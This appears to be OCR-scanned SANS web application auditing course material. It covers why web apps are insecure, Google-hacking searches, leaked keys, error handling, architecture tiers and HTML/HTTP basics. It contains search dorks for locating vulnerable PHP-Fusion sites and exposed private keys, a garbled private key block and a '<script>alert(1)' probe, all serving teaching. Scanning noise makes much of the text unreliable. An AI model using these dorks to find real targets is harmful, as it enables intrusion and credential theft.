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Roadmap 

Stating the Problem 
• Web Basics 
• Server Security 
• Configuration Testing 
• Authentication 
• Session Management 
• Sensitive Information 

Forms of Attack 

General Root Cause 

General Good Practice 

Ludi ting 

 

\sp Ilications 

  

Welcome to the Web Application auditing class in the SANS Audit 507 track. We hope you'll find this 
particular day to be as interesting and exciting as many thousands of previous attendees have. A fair number 
have written in to state that they never look at their web traffic the same way again. Some have even taken 
some of the tools that we demonstrate and begun to use them to analyze all of their web traffic to help them 
decide who they want to do business with. 

Unlike the topics that we cover tomorrow and on the final day of the course (operating systems), many new 
concepts are discussed today. Almost everyone has used the World Wide Web, a far smaller percentage 
actually understand the ins and outs of how web applications should be created, so we start with the basics. 

First, in this section, we lay out the problem that exists. After we understand why we're looking at web 
applications rather than applications in general, we take a look at the basics of web communication, discuss 
server security, explain general configuration tests that should be performed as well as giving you an 
understanding of the higher level authentication, and session management issues that exist. 
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Word of Caution 
SL 

  

 

• Vulnerable web apps consistently a top 
ten issue: 
— Testing can be dangerous 
— Technology is still "new": 

• HTTP/HTML is mostly mature 

• New advances and techniques continue to 
evolve to leverage these technologies 

— External applications typically begin life as 
internal "hacks" 

  

    

\ tid ti 
	

\\ co  Based \pplicanon- 

  

Today, almost every corporation and organization that uses computers in any significant way has a website of 
some kind. Although there are potential risks that come with just putting a simple home page on a web server 
(for instance, server and service vulnerabilities that could enable an attacker to deface the page), we spend the 
majority of our time looking at the issues that arise when an organization decides to make its site a bit more 
interactive. In other words, our main focus is on web applications. 

Web applications have had a proud spot in the top ten security issues for several years now and there's no sign 
that these will become less significant. Testing, assessing, or auditing a web application can definitely cause 
unexpected failures in the application and supporting infrastructure, so make no mistake that the testing we 
discuss can cause damage. Make sure that your sponsors understand this clearly. 

One of the reasons for the danger is that even though we use what we think of as mature technology, web 
applications have continued to evolve over time with new technologies introduced at least yearly. Added to 
this is that most many web applications began as internal applications. As time goes on these applications tend 
to find their way to Internet portals. 
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Why So Bad? 

• Fundamentally a different model 
• Where do web application 

programmers learn their trade? 
— College? 
—Training seminars? 

• Where did these people learn? 

c` trt I 
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Some of the more fundamental reasons for the problems that we face with web applications have to do with 
basic function and training. I have been hired several times to work with large organizations to oversee their 
application development team in the creation of a web application. Every time, I begin by teaching their 
programmers how to write secure web applications. What most programmers have the hardest time 
understanding is that the web client has far more control over the application than is the case in almost any 
other form of application programming. We'll see why this is the case as we go on this morning. 

When it comes to training, consider this: Where did your web application programmers learn how to do what 
they do? Did they learn on their own? Perhaps in college or a training seminar? Where did the person who 
taught them learn? Somewhere along the line, you will come to a point in which someone essentially taught 
themselves. We're not saying that you can't teach yourself effectively, but any misconceptions or bad practice 
that this person had will tend to rub off on the people that they teach. 

There's an even deeper root cause, though. If you were going to teach yourself, how would you do it? 
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Sample Code 

• Every server comes with sample CGI 
code: 
— Common Gateway Interface 
— Printenv, Northwind, and more 

• Every major piece of sample code is a 
perfect example of what not to do! 

• Is it any wonder that we write flawed 
web applications? 

Auditin ;Kiel Based A pplications 

Most people who teach themselves a programming language or technique start by looking at other people's 

code or example code. The same is true with web applications. When people are new or trying to figure out 

how to do something, they look for sample code. 

Although this is normally a good idea, in web application programming, every piece of example code that has 

been released with a major web server has some serious security flaw in it. If our programmers look to these 

examples to learn, is it any wonder that we've got all kinds of vulnerabilities in web applications today? 
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Google Illustrates the Problem 

• http://johnny.ihackstuff.cornighdb/ 
— Known vulnerabilities 
— Passwords 
— SQL Injection 
— Credit card numbers 
— Customer data 
— Remotely exploitable (Footholds) 
— ...and a lot more 

\11(1 	 d 	)rt ,  

To illustrate how bad the problem is, take some time to check out the website mentioned in this slide. This site 
has searches that leverage Google to identify web applications that are so poorly written that the simple act of 
indexing the site caused application or database errors to occur. Of course, this makes them easy targets for 
anyone who can use Google. 

The site indexes various queries that you can plug into Google to acquire lists of potentially vulnerable sites. 
We're talking about hundreds of queries that can net you hundreds of thousands of target servers. In many 
cases, we're looking at banks and other major corporations. The problem is bad. We can't emphasize for you 
how bad the problem actually is, but perhaps after today, you'll have a real feel for how to see how bad the 
problem is in your world. 
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In this slide, we can see a screen shot of the ihackstuff.com  website. In the main panel are a number of 
sections that list the various types of vulnerabilities that you can easily identify with Google using this tool. 
Please realize, though, that there are, of course, many other things that we can find with Google and other 
search engines that would indicate a vulnerability that are not tracked on this site. 

Next to each of the categories, you can see a number in parentheses. It is important to understand that the 
number shows the number of different queries in this category, not the number of vulnerable servers. Clicking 
through any of these allows you to select the individual query that you'd like to run and, finally, links you to 
the Google results page where you can find, sometimes, tens of thousands of vulnerable machines that are so 
badly configured that Google inadvertently indexed the pages indicating the vulnerability! 
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Advisories and Vulnerabilities (215 entries) 
These searches locate vulnerable servers. These searches 	 often generate 
from various security advisory posts, and in many cases are product or version 
specific. 

Error Messages (68 entries) 
Really retarded error messages that say WAY too much! 

Files containing juicy info (230 entries) 
No usemames or passwords, but interesting stuff none the less. 

Fees containing passwords (135 entries) 
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS! 

• 
• • 
• 

Zooming in just a bit to make the last screen shot more readable, we can see just a few of the items found in 
the database, for example, web applications or servers that are unpatched and indexed in Google. What does 

• this look like? 

For example, there is a vulnerability in certain PHP-Fusion versions. PHP Fusion, an open source content 
management system (CMS), is used by a fair number of sites to drive the web-based frontend with little effort. 
PHP Fusion, by default, includes the version number in the footer of every page. In the process of indexing the 
website, Google can't distinguish the footer from any other text on the page, so it is indexed as well. The result 
is, Google has now indexed that this site is using PHP Fusion and its version number. 

Now someone can search for something like this: 

"Powered by PHP-Fusion v6.00.110" I "Powered by PHP-Fusion v6.00.2.." I "Powered by PHP-Fusion 
v6.00.3.." -v6.00.400" 

This will find any pages with the "Powered by..." lines with a variety of version numbers! 

• • 
• 
• 
• 
• 
• • • 
• 
• 
• 
• 
• • • • 
• 
• 
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But We're Security Conscious! 

• Jani Kirmanen, Security 
Researcher and pen tester in 
Finland: 
—Analysis of all past app evaluations 

53% of critical issues 
directly caused by programming errors!! 
(Everything else was design or config) 

icatit37 1 

An alumni of this course, Jani Kirmanen, is an active security research and penetration tester at a successful 
consulting company in Finland. His organization is hired by security-conscious organizations that recognize 
security vulnerabilities exist in their public services. 

He and his coworkers took some time to do an analysis of all the web application-related penetration tests that 
they have performed in recent years and came to an interesting conclusion. More than one-half of all the 
critical issues found in web applications in their real-world testing were directly attributable to programming 
errors! Everything else was either a design flaw in the application or a configuration flaw on the server. 
Clearly, the situation is quite serious! 

Consider this: These statistics are from companies that went out of their way to hire a penetration testing 
company to come and test their applications. Clearly, these are security-minded organizations. If these 
security-minded organizations are finding that the majority of the issues in their web applications are caused 
by developer error, how likely is it that our web applications are even worse? 

•  •
 • 

• •
 • •
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Another Developer Error 
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Even smart developers who write wonderful code make mistakes just like all the rest of us. For example, a 
problem that gained more and more attention through 2013 and continued through 2014 is the storage of 
private credentials in public code repositories. You can see an example of a search for AWS and S3 
credentials in Github, a well-known code repository, in the slide. 

There are a couple causes of this problem. One is that the developers (and even administrators) are 
inadvertently committing files that contain sensitive data into source code repositories. This is a pretty 
common problem; though, publishing those credentials through a public repository is quite awful! Another 
cause is that the developer is unaware that the repository is sitting on a public server or that other people 
potentially have the ability to see the repository. As strange as it may sound, being a developer does not mean 
that you are technically savvy about the configuration and management of a code repository. I have run into 
many otherwise competent developers who have no idea how to configure a repository, connect to it over 
SSH, or manage the keys that are required to do so securely. 
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In Fact 

• Google search term: 
- "BEGIN RSA PRIVATE KEY" filetype:key 

— 143,000 results... 
masbako om/ABOX360-1VitY80T.key 

	BEGIN RSA PRIVATE REY 	 
MIICIAIRAAKSOC/KINSTxRzOwQ2otnisSaxY4LeftWzusWEE2/CSvktiMMoULW1 
i/UgsDEsIm1119U3OfhPRED9OemEaX2CaoEs.00A7deqInfOlIIp9SUDeTclizany 
kb/Or/aPcgeksIXzbMtdkurVCOLq246Ud4mIlshA3SSfdY0J+FECngjpvIDAOAB 
AoGAJNOPzoANc4MngtjhG454DdOgxwIR3k4eq3rkvjGokimmw.GLAnulE4/oq8lAqV 
W9r1WeLol/uo8021gulafSr4PlkbPSIeVYxkX6BiSfRoriaLD+qkCBIOwivEp+MpS 
ExIYIXTB9gi9mdEV4pWwwbVeUopQIEJALW9p83uCIEV9pvECQQD64/41PxjcA2ksz 
ELIA.75144/87uX2E3D6dErS5hIxMlfSFXBYpItrwJicitEv0V4y10P0083kAxYAL8 
tv137130j1AkEArrxwVq10AdO+MuEBooYQR9qw7SiUS4SpmveSqVjluvipoNoSdWtf/ 
QQnQN/14AEXVtlxgSTRguDzqzfIguvlocrineWlo8OucTXxiSsqWV+JEuAnihUhRB 
ISPerl9sIVICkgDzIOynjE9cqze+MEXAR5e998D3qCiIP3oPTYPIgkOJqDQJAUs+E 
cu5psojx9408pAngCauiTlar04AcInoCIUMEsinQLS/D3avC. 4xMinIC2vQXaCqw50 
OwItIgef12+e+x9yELwJEALOWYDEFIdaEt17cTDqllar7+yhTUAlDdeghbTSSCLDW 
E/NETcPMIn1aP81MRINcc/51AnceGgetELINITU4aPYQ ■ 

	END RSA PRIVATE KEY 	 

Just to illustrate how easy it is to make a mistake, consider this; if you search in google for "BEGIN RSA 
PRIVATE KEY" or "BEGIN PRIVATE KEY" with 'filetype:key,' you will receive hundreds of thousands of 
results. Of course, a number of the results that are returned are code examples and other demo type things 
where the keys being included are completely innocuous. However, if you look through just a few of these you 
will find many examples of private keys being stored in publicly accessible directories on the web server. 
Worse, with a little bit of careful Googling, you can even find certificate and key files for SSL server 
certificates! 

If we grab an SSL cert and key, we can instantly impersonate that web server unless the certificate is tied to 
the IP address (which is not common.) Doing a quick search while preparing a course update, I found the 
following items, creating the listed impacts, in just a few minutes of Googling: 

What I found: 

Twitter API keys 

SSH private keys 

SSH private keys 

Exposed source code 

 

What I can do:  

Authenticate as and impersonate a Twitter user 

If I can identify the user, authenticate to the server as that user 
at a command line 

(Code repositories) Make repository code changes as the 
authorized programmer (backdoors) 

Quickly and easily identify vulnerable input handling 

 

With this in mind, remember that Google is not trying to hack you! It is simply indexing publicly accessible 
files that you link to or that are discoverable because of directory indexing. We define directory indexing in 
the next section of our course. 
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General Good Practice 

• What simple things can we do to 
create secure applications? 
-Map to the OWASP Top 10: 

• Input validation and sanitization 
• Error checking and handling 
• Robust authentication and session 

management 
• Complete mediation of the application 
• Multi-tier solution/Secure Configuration 

'111(1:`11M. 

Let's outline some general good practice. Many of these items will make more and more sense as we go 
through the material today, but it's good to have a sort of framework to base our discussion on. As we go 
through the material, see if you can figure out which of these five good practice recommendations apply to the 
topics that we are discussing before it's spelled out in the course. This should give you a feel for how well 
you're grasping what's being discussed. 

This list, which we discuss in greater detail for next several slides is list of the top issues that, if corrected, 
typically yield tremendous security benefits in a web application. The items are listed from most important to 
least important, so if you want to figure out what to do first, you should start at the top of the list. 

If you are familiar with the OWASP Top 10—whether the current edition or any past edition 	you will likely 
notice that these do not appear to be the OWASP Top 10 issues. What's the story? Our approach is to abstract 
those issues into the root issues. For example, in the 2010 version of the OWASP Top 10, there were no fewer 
than three, possibly four, issues that are at their root injection flaws. We address those three or four issues 
through one practice: Input validation and sanitization. We spend a great deal of time with this particular issue 
throughout the day. Session management and authentication also play an important role in the second one-half 
of this book. Let's take a closer look at the other three practices mentioned here. 
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Principles 

• Input/Output = Trust Nothing 
—All day long 

• Robust error handling: 
—Which errors does a programmer 

check for within his code? 
— Every major language/framework for 

web development allows us to handle 
unexpected exceptions! 

adiring \\ el) Based Applications 

Let's walk through these general good practices to give you an overview of what we're talking about. This 
enables you to know what to look for as we cover the details of these things throughout the day. 

First, validation of input and output essentially comes down to what are sometimes called Moscow Rules in 
spy circles: Trust nothing (or no one). We're not going to dig into this just now, but we will examine this in 
depth throughout the day and see many examples of the consequences of failing to handle this correctly. 

The second issue pertains to robust error handling. Every major framework and languages used by reasonable 
programmers to create web applications today has built in facilities for error handling. Actually, they all allow 
the programmer to create an error handler that should be called whenever something happens that the 
programmer did not expect to happen. 

This is actually an important feature, but we rarely find that it has been used. It is important because it enables 
the programmer to respond rationally to unexpected error conditions. It's rarely used because programmers 
rarely truly believe that their code can have flaws. In addition, the programmer has probably included a lot of 
error handling already. The trouble is that he has only accounted for possible error conditions that he actually 
believes are possible. What about the unexpected conditions? 
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htip:iporww.owasp.orgpndex.pep/MamPage 

• 	 fi htt07/ ww. .owasp.org itmle x php/Main_Page 

Sufereal Calculation °Ire( Access Gateway IDE Interface McGrew See AM Dumper PICA Horne Page 

This Is Inexcusable 

exception 'RuntimeException' with message 'Directorylterator.:_constructtinfsnicontentids-xipublicitrripi) 
Dirertorylierator--consuucti: failed to open dir. No such file or directory in 

ioptiowasp/wikittelocakittensions/SpecialWNiFeeds.php:8 I Stack trace: #0 
/aptlowiaspiwflditudocs/extatabotisiSpeciarNikiReds.php(S I6): Directoryltorator->_oonsuucrcinfsnicontentid-: # I 
/opttawasp/wOdtbaioesklitensioas/SpecialWaciFeeds.php(793): SpecialWilciFeeds->_goCacheFilcs0 
loPtiowasp/wOciihtdocsiextensionsiSpecialWaiReds4thp(191): SpecialWilciFeeds->_cachcPrunc0 #3 
toptiowaspivailoes/exteosions/SpecialWilciFeeds.plip(903): SpecialArdateds->_constructo #4 I internal function I: 
wfWiltiFeeds()S5 ioptiowasp4wairtudeestinc1udesSetup.php(287): calLuser_funo' fWikiFeuds'l #ti 
loptiowasphvBdibtdocafincludea/WebStait.pbp(102): requir' e_otatefiopt/owasprwiki...) #7 
/ora/owasp/wilci/btclocsfindex.php(38): yequire_once(loptiowaapiwilkl...) its (main) 

'\,N c H 
	

\ 'y 

Here is an example of a programmer failing to properly handle errors. This issue is disturbingly common to 
find. The root cause of this problem is that programmers tend to check only for error conditions that they 
expect can occur. Users, however, are extremely good at trying things that the programmer never envisioned. 

Every major language used for web application development today supports the ability to catch even 
unexpected errors. In this case, we're looking at a host run by OWASP. The page accessed is a PHP-driven 
page. This type of error should never be displayed to a user. Not only is this disclosing information that we just 
don't need to have, but it also affects consumer confidence. 

Realize that we are not including this screen shot to cast OWASP in a bad light! To the contrary, this is a 
group of smart and skilled people who are doing good work in the web application security space! Instead, 
consider this: If these folks could make this kind of mistake, what are the chances that our programmers 
are making these mistakes!! 

From this error alone, we can derive a lot of useful details for an attacker. For instance, at first glance we can 
see that some kind of access to a directory failed. Looking at the details of the error message, it leads us to the 
conclusion that we are looking, most likely, at a farm of frontend web servers that are used to deliver content 
from a backend SAN operating over NFS. It appears that the NFS server is unexpectedly down, but the 
programmer simply assumes that the server will always exist. 
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Here's another frightening example. OpenVPN are the folks who create and distribute both the free and 
commercial OpenVPN products that are widely used for VPNs in small- and even medium-sized businesses. 
As you can see, this example actually gives us insight into the actual database schema. More than this, we may 
identify values that we can control as a user that end up in the SQL statement, potentially allowing us to craft a 
SQL injection attack. 
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What Should Happen? (1) 
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What should happen when an error occurs? Remember again that the main reason that errors are not handled 
properly is that the developer prepares only to handle errors that he expects can occur. What he should do as a 
best practice is prepare to handle absolutely any error condition, even ones that he thinks are not possible. 
How can he do this? 

Every major language used for web application development today has the capability to create generic error-
handling code for unexpected errors. Our web application developers must use them! 

Consider the web page pictured in the slide. Here you can see the results from a search request sent to 
Celebrity's website. Nothing unusual was sent, just the word "test." Compare this output with what you see on 
the next slide. 
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What Should Happen? (2) 
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Here you can see what happens when the following is sent as the search term: 

<script>alert(1) 

Notice how different this page looks. In fact, if you search for a term that does not exist, you receive a search 
results page that tells you that there were no results. This page is different. What's going on? 

Although I would be concerned that the simple string above causes an error to occur in the application code, I 
am actually quite happy to find that the developer has clearly added some "catch all" error handling to his 
code! For some (undetermined, as far as we are concerned) reason the application encountered an error. 
Rather than simply crashing (and sending back a 500 Server Not Available message), the application instead 
returns this error page! This is what we should see when an unexpected error occurs! 
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Complete Mediation 

 

• Consider a single point of entry: 
—"Myapp.com/index.php" 
—Everything goes through here 
—Nothing else is accessible on the site 

without passing through here 
— Reuse of reliable code 
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Next, our list asks us to consider requiring complete mediation for our web application. The principle of 
complete mediation is that there is only one way in or out in a given architecture. For a web application you 
might think of this as meaning that all interaction with the web application goes through a single point of entry 
rather than the user requesting many different files and directories from the server. 

An example of how to do this is to create the application in such a way that it essentially acts as a server, 
handling requests and distributing content based on validated session credentials for the clients. If this 
mediation point were in the index.php page, that would mean that virtually no other content in the application 
is accessible without making the request through index.php. Typically, some exceptions are considered 
acceptable in this framework, images and JavaScript libraries, for instance. 

Requiring that we have a single point of access for all requests, we are in a position to create a single set of 
robust functions to handle all client interaction and reuse those for all requests. This makes debugging and 
later security fixing much easier; though, it does tend to require a fair amount of planning upfront to get it 
right. 
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Multi-Tier Solution 

• For strong security use three tiers: 
— Presentation, Application, Persistent 
—Browser is not presentation tier!!! 

• Security much lower with two or 
fewer tiers: 
—Complexity and cost may restrict you 

to two tiers 

I 

Finally, we should consider implementing our application as a three-tier solution. The idea behind a three-tier 
solution is that it provides for wonderful scalability prospects in addition to tightly controlling any sensitive 
information that might be a part of the application or stored behind the application. The tiers are typically 
defined as: 

• Presentation: The presentation tier is usually a web server that hands static pages back to the client 
and essentially acts as a proxy of sorts for any active or dynamic content. A portal is a good example 
of a presentation tier. 

• Application: The application tier handles all dynamic content and interaction with the persistent tier, 
acting as a sort of dynamic gateway to generate dynamic content from the persistent tier, serving that 
content to the presentation tier. 

• Persistent: The persistent tier is quite simply a database. This tier handles all long-term storage and 
retrieval of data that will eventually be delivered through our frontend. 

We must acknowledge that although a three-tier application is best practice, many find the development, 
deployment, and maintenance costs too high for all applications. For this reason, we suggest that you decide 
how many tiers to use based on the security requirements for the data that you are handling. 
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Two Tiers Versus Three Tiers 

 

Do you store sensitive data 
in the persistent tier? 

• Passwords 

• Customer Information 

Where are the database 
credentials? 
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encryption keys? 
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For a moment, let's put the two-tier and three-tier architectures side by side so that we can examine the 
strengths and weaknesses. For a three-tier environment, the obvious problems reside in complexity and cost. 
Clearly, developing an application that leverages all three tiers will be time-consuming and the hardware 
requirements will be costly. Even so, if scalability and security are our major concerns, this is definitely the 
way to go. 

Look at the two-tier diagram and consider the questions in the center of the slide. In a three-tier environment, 
the presentation tier is never permitted to talk directly to the persistent tier. Instead, all requests must be made 
through the application tier. Similarly, the application tier can never communicate directly with the Internet. 
Instead, everything that the application tier sends must be processed through the presentation tier. 

Whatever the case, the credentials that are used to access the persistent tier must reside in the application tier. 
If the application and presentation tier are joined, then compromising either of those tiers compromises the 
other. Because the credentials for the persistent tier are there, too, a compromise of either tier actually results 
in the compromise of all three tiers. In some requests, we have only a single tier. This is not true in a (well-
implemented) three-tier system. 
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The Story So Far 

• Web applications are a common weak 
spot in security: 
— Better understanding required for 

programmers 

• Doing a few things well goes a long 
way: 
— What we do the rest of today: 

• Work through an audit checklist 
• Learn how to perform each test 

Auchrino. 	 pplications 

At this point, we've gotten some of the basics out of the way. In particular, you should have a good general 
idea of why web applications deserve so much of our attention. Throughout the day today, we will give you a 
lot of auditing and testing pointers, but we will also give you a good range of topics to suggest to your 
application programmers. 

Another key from this section is that doing just a few things well yields tremendous security benefits. We 
don't have all the technical detail to understand all the implementations and implications of this, but don't 
worry, we'll give that to you soon! 

As we continue on today, we will focus on the details of how to implement an application correctly and how to 
test an application for good implementation practice. To do this we'll work through an audit checklist step by 
step and learn how to perform each of the tests. The checklist that we use is both in the workbook and also on 
the CD. 
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Roadmap 

• Stating the Problem 
>Web Basics 
• Server Security 
• Configuration Testing 
• Authentication 
• Session Management 
• Sensitive Information 

HTML/HTTP 

HTML Forms: GET/POST 

SSL, AJAX, and CSS 

WebScarab 
1 1( 1t 

Let's jump into some basics concerning Web technologies. We'll give you a gentle introduction to HTML and 
HTTP to lay the ground work for everything else that we're going to look at today. We'll take a quick look at 
forms so that we can have an idea of what the information flow tends to look like in a web application, and 
we'll also define a few other common technologies. 

Last in this section, we'll demonstrate some of the features of a handy tool named WebScarab, which is 
available for free. This tool is our virtual Swiss army knife for examining web applications. 
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HTML Basics 

• Web pages are just text: 
—HyperText Markup Language 
—Viewable as source code 

• Describes how to "paint" a page: 
—Like a Police Sketch Artist: 

• Image here, form there, and so on 
—Different web browsers render things 

in different ways 

Auditing 

 

d pplica tions 

Web application auditing tends to be easier than most other forms of application auditing because almost 
everything that we need to do our testing is presented to us by the web server as text. When you look at a web 
page, it can appear quite complex in terms of layout and design, but fundamentally few pieces of the 
application actually matter for testing, and everything that we're concerned about is text. 

The reason that this is true is that HTML, the language used to create most web pages today, is simply text. 
Not only that, the source code for any web page is only a few mouse clicks away because we can view the 
source code for any web page that our browser can display! 

Essentially, HyperText Markup Language (HTML) is a language that describes how a page should look. It is 
then up to your browser to interpret that language to paint the page correctly. This is the reason that you will 
find that different web browsers may display the same page somewhat differently. You might think of this as 
several artists being asked to render the same picture. 
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For example, we look to the Google search page. In the slide, we can see the search page that is automatically 
set as the home page for the Firefox browser. This page, from what we can see, is made up of at least three 
images: the Firefox logo, the Google logo, and the Firefox icon in the lower left. In addition, we can see that 
there are some links that could be clicked, identifiable because they are underlined. In the middle of the page 
is a text box where we can enter search terms and finally there is a Google Search button that can be clicked. 

Everything that is displayed on this page is the result of formatting instructions written in HTML and 
transferred to our browser by the Google web servers. Let's look a bit more closely at what the HTML 
actually looks like. 
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HTML Basics 

<htmI><head> 

<title>Mozilla Firefox Start Page</title></head> 

<body><center> 

<form aeon=/search n 	> 

<table cells 	=0 cellpaddi 	.th=100%> 
<tr><td nowrap><in 	e=tudden nam 

value="firefox-a"> 

<input id=sf maxLength=256 nam 
srze=50><br> 

<input type=submit value="Google Search" 
name=btnG><Mi> 

• HTML: Just text 

Page Title 

Describes layout 

Creates forms 

Links pages 

Place images 

curing Ve 	cl \pplh:‘,1 

<a 
hreWhttp://www.mozilla.org/products/firefo  
tral">Firefox Help &amp :  Add-ons</a> 

</table><img src="Arnages/firefoxicl rod" height=1 
width=19> 

<tform></center></body></html> 

In most browsers, if you open a web page and then right-click the page, one of the options presented will be 
View Source. We have done that on the Google search page and extracted some pieces of the page to include 
in this slide. 

If you look closely, you can see that there are marks, much like proofer's marks used in typesetting, that 
describe how the page should be rendered. For instance, there is a <title> mark that tells us where the title of 
the page is. There's a <center> mark that indicates that a portion of the page should be centered when 
rendered. Further down we see a <form> mark that is used to describe an area on the page that will be used for 
client input to the web application. Toward the bottom of the example we can see what is known as an 

- "anchor," marked with the <a href> mark. This creates an anchor point for a hypertext reference to another 
page. Last in our example, we see an <img> mark that is used to mark the placement of an image. 
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HTML Rules 

• Pages are marked up with HTML "tags": 
— <center> centered text </center> 

• Case-Insensitive: 
— "<A HREF" is the same as "<a href" 

• Quotes generally optional: 
— 'value="firefox-a">' same as 'value=firefox-a>' 
— Quotes required: value="firefox a"> 

• Reserved characters can be HTML encoded: 
— & = &amp; 
- < = &It; 

• Newer standards are changing some of this 
• Comments are inside of "<!-- -->" tags 

This concept of using marks or "tags" is fundamental to HTML. It is important to understand that almost all 
tags also require some sort of closing tag to identify when the formatting instruction ends. For instance, if a 
<center> mark were used to center some text, how would the web browser know when to stop centering text? 
The answer is that there is a closing tag, too. The closing tags always mirror the opening tag, simply adding a 
forward slash. This means that for the <center> tag there would be a corresponding </center> tag. You can 
think of these opening and closing tags like parentheses. If you open a parenthetical expression (like this), the 
rules of syntax tell you that there must be a closing parenthesis. 

A few other things to know are that HTML is case-insensitive. Also, quotation marks inside of HTML tags are 
generally optional unless you need to use a space within an expression. HTML also has some special 
characters, such as the < and >. What if you want to use one of these? You can mark those characters using 
&gt; and &lt;. These are examples of HTML Encoding. 

An important tag to know about is the comment tag. Comments are marked with <!-- -->. Nothing within these 
will be displayed within the rendered page. 

© 2016 David Hoelzer & Enclave Forensics TM' 	 27 



HTTP 

• HTTP is just text: 
— HyperText Transfer Protocol 
— Binary data can be wrapped in HTTP 

• Method of communication: 
— Clients request pages from servers using 

HTTP 
— Servers respond with HTML wrapped in 

HTTP headers 

cluing Web 	.\pplications 

HTML and HTTP are not the same thing. HTTP, or HyperText Transfer Protocol, is the communication 
mechanism used to transfer hypertext documents. In reality, the protocol can also be used to transfer binary or 
just about anything else (like images), but its primary role is to allow browsers to speak to web servers. 

When a web browser sends a request to a web server, the client's request is made using HTTP. When the 
server responds, it answers back by sending HTML embedded within HTTP headers. In other words, HTTP is 
the transport mechanism. 
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Web Forms 

• <FORM> tag groups 
input 
— Method defines how 

forms are submitted 
(Next slides) 

— Action defines at to do 
when submitted 

— <INPUT> tags enclose 
several types 

• Text fields 
• Password 
• Text areas 
• Submit buttons 

— Also checkboxes, 
selection boxes, etc. 

 

67M4t 1Sevo tick, 
<form method•"post" name-"Signincorm" 
action."https://signin.ebay.com/ws/eeayiSAnt.d11% . 
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<in 	type- "password" name."pass" maxlensmh."64" 

tabindex- "l" size-"27"> 
<input type."submiT" tabindex -"3" ualue•"sign In Securely >" 
</fo 

 

 

 

One of the pieces of HTML that allows our web applications to function interactively are web forms. Forms 
are defined using simple markup that group form elements by containing them within a set of <FORM> and 
</FORM> tags. Although it is not especially common, it is completely legal to have more than one form 
visible on one page. 

Forms can be made from many different input types. In the slide, we have a piece of the source code for the 
eBay sign-in page displayed with arrows pointing to the various types of input items that are on the form. 
Among the various types we have check boxes, radio buttons, selection lists, text fields, and more. We also 
have the interesting "Hidden" type, which is simply a way to send data to the web application from the form 
without displaying the values in the page. 

Notice that the form definition includes within the <form> element an action to take and a method to use to 
perform the action. The two actions that you find in forms are GET and POST. We discuss those on the next 
few slides. The action is the URL to which the form contents will be submitted when the submit button is 
pressed. 
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GET/POST 

• HTTP comes in a lot of flavors: 
— TRACE, HEAD, GET, POST... 

• GET: 
— 255-character limit 
— All input is included in the URL 

• POST: 
— No hard limit (configurable) 
— All input is included in the HTTP 

\tic ; ta ng 

 

n!-, 

 

Within HTTP there are a number of different request types. Of the many that exist, there are only two that you 
find in common usage within web applications, and these two are our focus. There is, in reality, a third that 
you may encounter: HEAD. Head, however, is used only to determine if a page has changed. In other words, 
the web browser is trying to determine whether it should try to request the entire page. 

GET and POST are the two methods that are used to send data to a web server and to retrieve data from a web 
server. Even though they serve essentially the same function, the specifics of how they function are quite 
different. 

GET takes all the values entered in the form and appends them to the URL listed in the action attribute of the 
<form> tag. GET is easy to use, but it does have some limitations and security issues. We'll discuss the 
security issues later, but for now let's just give you the limitation: You can't send more than 255 characters in 
the URL with a GET. 

POST essentially performs the same task that GET does with two major exceptions. The first is that there is no 
hard limit on how much data can be sent with a POST. The second is that the form values are not included in 
the URL; they are included in the body of the request. 
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What About WebDAV? 

• There are other HTTP verbs: 
—PROPFIND, COPY, MKCOL, and more 

• This is an extension to HTTP: 
—Although they are hosted on a web 

server, you are not accessing them with 
a web browser 

— More of a SOA type of service 
— Our process can test these as well 

~litin 

Although there certainly are other types of requests (COPY, MKCOL, PROPPATCH, PROPFIND, and more), 
the majority of these are used only in WebDAV applications or in debugging the application. Although you 
may have WebDAV applications and although those are likely running on a web server or application server 
of some kind, they are not "web applications" in the traditional sense of that term. The reason is that you do 
not interact with WebDAV services using a web browser. Instead you must use some purpose built client. This 
starts moving us into the arena of Service-Oriented Architecture (SOA) and SOA Protocol (SOAP). 

Even though we're not going to dive into WebDAV, there's great news. All of the tools and techniques that 
you learn and use today can be applied directly to absolutely any HTTP-based protocol! This means that you 
can certainly test any SOA or WebDAV services that you might have, even though we will not call them out in 
class. 
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GET 

• Google uses GET: 
— Enter your search term: 

GOOgie 	Web Images Groups  News Maps  

CYber-Oetense 

—When search completes, look at the URL: 

~~ http://www.google.com/searchTl=e 	cyber-defensebtnG=Goog le +Search 

Wcs nph( 

Okay, so we told you the theory. If you're still confused, don't worry; let's look at some pictures that should 
clear things up. Notice in the slide that we have a shot of the Google search page. The Google search page 
uses GET to send your requests. That means that the form definition includes <form method=get>. 

To get an idea of what this looks like when you submit a request, look at the URL screen shot from a browser 
at the bottom of the slide. Notice that the search term that we entered, Cyber-Defense, shows up in the URL 
as q=Cyber-Defense. You may also notice that there are a number of other items in the URL. Where did these 
come from? No doubt these were hidden form elements in the search page. 
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GET Details 

• Notice the format of the URL: 

  

ber7defens4inGliaG • arch qhttp://www.google.comisearc  

 

  

— "?' separates the page from the GET 
parameters 

— separates parameters from values 
— A' separates parameters 
— Special characters are encoded 
— Spaces become `+' 

I 	hi .•l 	 I 	I 

There are a few more details to notice here. The URL, if you've never taken a close look at anything more 
than the part where the host is defined, might look a bit complicated. Let's see how to decode the URL. 

The HTTP standards require that any form elements sent in a request to a web server using a GET be included 
in the URL, but how can we add things to the URL without confusing the web browser? How will it know 
where to go? The key is the question mark. Everything that appears in the URL before the question mark 
identifies the site to connect to. The question mark is like a fulcrum around which the URL pivots. Everything 
following the question mark is input to the web application being contacted. In this case, that input is the form 
data that is being submitted. 

A few other characters are used to help describe this data. First, the equals sign is used to assign names to the 
values. These names are the names included in the element definition in the web form. If there are multiple 
elements, the various elements will be separated by the ampersand. Finally, spaces in values are converted into 
the plus sign. This is sometimes defined as HTTP Encoding. Any other reserved characters would be 
converted to URL Encoding or Hexadecimal Encoding, which means they are given in hexadecimal. 
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Contrast the GET request with the POST. In this slide, we're looking at the Charles Schwab login page. The 
form in this case uses the POST. The request is displayed at the bottom of the page. This is the HTTP that was 
sent from the client to the server. We've used a special tool to intercept that data, and we'll show you how to 
do that in just a little while. 

For now, notice that the first line in that request is a POST with a URL. Notice that there is a question mark 
but no other elements after the URL. Following the POST, we have a variety of HTTP headers, including 
information about the web browser (User-Agent), the name of the host we're connecting to (Host), referrer 
information (Referrer), and so on. At the bottom, though, we find a series of parameters that looks like the 
format used with a GET! In fact, the format is identical. 

So what's the difference? In the GET, those parameters appear in the URL; in a POST the parameters are in 
the body of the HTTP request. Why this is important may not be obvious now, but don't worry, we'll tell you 
why it's important later! 
